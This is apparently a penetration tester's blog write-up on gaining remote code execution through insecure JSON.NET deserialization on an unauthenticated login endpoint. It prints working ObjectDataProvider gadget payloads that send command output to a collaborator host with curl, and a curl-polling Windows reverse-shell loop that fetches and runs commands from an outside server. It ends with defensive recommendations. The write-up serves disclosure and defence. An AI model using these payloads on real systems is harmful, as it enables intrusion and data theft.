Exploiting JSON.NET Deserialization for Remote Code Execution

Introduction

In modern .NET applications, JSON is the de facto standard for data exchange between client and server. Libraries like JSON.NET (Newtonsoft.Json) make serialization and deserialization seamless—but with convenience often comes risk. When developers unknowingly expose deserialization functionality to untrusted input, it opens the door to devastating consequences.

This blog post cover a critical vulnerability found during one of my engagement: Remote Code Execution (RCE) via insecure JSON.NET deserialization. Unlike common injection flaws, this class of vulnerability happens from subtle trust assumptions in object construction, and when exploited correctly, allows an attacker to gain arbitrary code execution on the target system.

Let’s go!

“To demonstrate the exploitation technique without exposing any client-sensitive infrastructure, identifiable hostnames and token values have been redacted or replaced with placeholders.”

Discovery of Deserialization Sink

During initial recon, I’ve came across an unauthenticated API endpoint accepting POST requests with JSON payloads. The endpoint behavior suggested server-side processing of arbitrary JSON structures. A closer inspection of responses and error messages hinted at usage of the JSON.NET library with dangerous settings that allowed attacker controlled input to influence type resolution.

I began testing with various payloads containing the $type field, which JSON.NET uses to resolve and instantiate .NET types dynamically. The application accepted these values and attempted to resolve the corresponding types which is a strong evidence that TypeNameHandling was enabled server-side.

This was definitely an insecure deserialization sink. An attacker-controlled JSON, dynamic type resolution, and no authentication barrier!

This vulnerability is not limited to the specific access point tested. Any part of the application that accepts a JSON body in a POST request and processes it using the vulnerable deserialization logic could be exploited in the same way. This considerably widens the attack surface, making the entire application susceptible to exploitation if appropriate validation measures are not implemented.

From Type Confusion to Code Execution

JSON.NET supports polymorphic deserialization using the $type field, which allows the incoming JSON to specify the concrete type to instantiate. While useful for legitimate polymorphic models, it’s inherently dangerous when exposed to untrusted input.

I exploited this by leveraging a gadget class in the .NET Framework: System.Windows.Data.ObjectDataProvider. This class, when deserialized, can invoke arbitrary methods and effectively becomes a deserialization-based method dispatcher.

Combined with System.Diagnostics.Process, I crafted a payload that executes system commands on the server and sent it via a POST request:

POST /[REDACTED]/[REDACTED]/Login/Login HTTP/2
Host: REDACTED
[]

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "$values": ["cmd", "/c dir | curl -X POST --data-binary @- http://my_burp_collaborator"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
  }
}

Payload Breakdown:

  • $type – Tells JSON.NET to instantiate an ObjectDataProvider, a gadget capable to invoke methods.
  • MethodName – Invokes the Start method on the supplied ObjectInstance.
  • MethodParameters – Passes cmd and a shell command to Start.
  • ObjectInstance – The actual System.Diagnostics.Process object, which executes the command.

When deserialized, the application launched a shell, ran the dir command, and exfiltrated the output via curl to my Burp collaborator.

The server returned an error…

HTTP/2 500 Internal Server Error
[…]

[…]
Cannot apply indexing with [] to an expression of type
'System.Windows.Data.ObjectDataProvider'.
[…]

But still receive the content of c:\windows\system32\inetsrv dir on my Burp collaborator and this confirmed full remote code execution.

After I confirmed the application was deserializing untrusted JSON with type resolution enabled, I incrementally escalated the attack from simple command execution to full remote shell access. Below is a breakdown of each stage.

Environment Fingerprinting

I gathered system-level intelligence to understand the target environment. Using the systeminfo command, I retrieved OS version, installed patches, system architecture, and domain information. This step helped to determine exploit feasibility and privilege context.

POST /[REDACTED]/[REDACTED]/Login/Login HTTP/2
Host: REDACTED
[]

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "$values": ["cmd", "/c systeminfo | curl -X POST --data-binary @- http://my_burp_collaborator"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
  }
}

File Upload Attempts

I attempted to write several reverse shell payloads directly to the file system using chained shell commands and echo redirection. While the files were successfully written, execution failed likely due to permission restrictions and a very sensitive AV ☹️.

Full Remote Shell

After reworking my approach, I achieved stable remote code execution via a Windows one-liner reverse shell. The payload used curl in a polling loop to communicate with an external server, fetch commands, execute them locally, and exfiltrate the results. This technique avoided spawning an interactive shell, favoring a covert C2-like protocol over HTTPS.

@echo off
& cmd /V:ON /C (
    SET ip=REDACTED:443
    && SET sid="Authorization: eb6a44aa-8acc1e56-629ea455"
    && SET protocol=https://
    && curl !protocol!!ip!/eb6a44aa -H !sid! > NUL
    && for /L %i in (0) do (
        curl -s !protocol!!ip!/8acc1e56 -H !sid! > !temp!cmd.bat
        & type !temp!cmd.bat | findstr None > NUL
        & if errorlevel 1 (
            (!temp!cmd.bat > !tmp!out.txt 2>&1)
            & curl !protocol!!ip!/629ea455 -X POST -H !sid! --data-binary @!temp!out.txt > NUL
        )
        & timeout 1
    )
) > NUL

This command established a functional command-and-control loop, giving me full execution capability on the target machine without opening an inbound listener.

POST /[REDACTED]/[REDACTED]/Login/Login HTTP/2
Host: REDACTED
[]

{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "$values": ["cmd", "/c@echo off&cmd /V:ON /C "SET ip=1REDACTED:443&&SET sid=\"Authorization: eb6a44aa-8acc1e56-629ea455\"&&SET protocol=https://&&curl !protocol!!ip!/eb6a44aa -H !sid! > NUL && for /L %i in (0) do (curl -s !protocol!!ip!/8acc1e56 -H !sid! > !temp!cmd.bat & type !temp!cmd.bat | findstr None > NUL & if errorlevel 1 ((!temp!cmd.bat > !tmp!out.txt 2>&1) & curl !protocol!!ip!/629ea455 -X POST -H !sid! --data-binary @!temp!out.txt > NUL)) & timeout 1" > NUL"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
  }
}

Connection received:

Recommendations

To prevent exploitation scenarios like the one described in this article, teams should adopt a secure-by-default approach to deserialization. Below are practical, technical mitigations:

Defensive Coding Practices

  • Disable TypeNameHandling globally in JSON.NET unless there’s a legitimate business case. If required, avoid TypeNameHandling.All; prefer None.
  • Implement a custom SerializationBinder to strictly control which types can be deserialized. Whitelisting is critical.
new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.Objects,
    SerializationBinder = new SafeTypeBinder() // implement whitelisting
}


  • Never deserialize user input directly. Isolate or pre-validate untrusted data before passing it into any deserialization logic.
  • Treat deserialization as dangerous by default, especially if the source is not authenticated or signed.

Operational Security Measures

  • Use runtime application self-protection (RASP) or EDR tools to monitor process launches from application servers.
  • Apply strict egress filtering. Block outbound connections from app servers unless explicitly required.
  • Harden the runtime. Run .NET apps with constrained privileges. Avoid running under SYSTEM or administrative contexts.

Conclusion

This vulnerability is a great example of how power features in mature libraries like JSON.NET’s polymorphic deserialization can become liabilities when used without a security first mindset. The exploit path from anonymous POST request to remote code execution was short, silent, and could cause serious impact.

Serialization is not just data handling, it’s executable logic. Treat it with the same caution as SQL or shell commands. At least mitigation is not complex and defaults like TypeNameHandling.All should be treated as dangerous.

Thank you for reading 🙂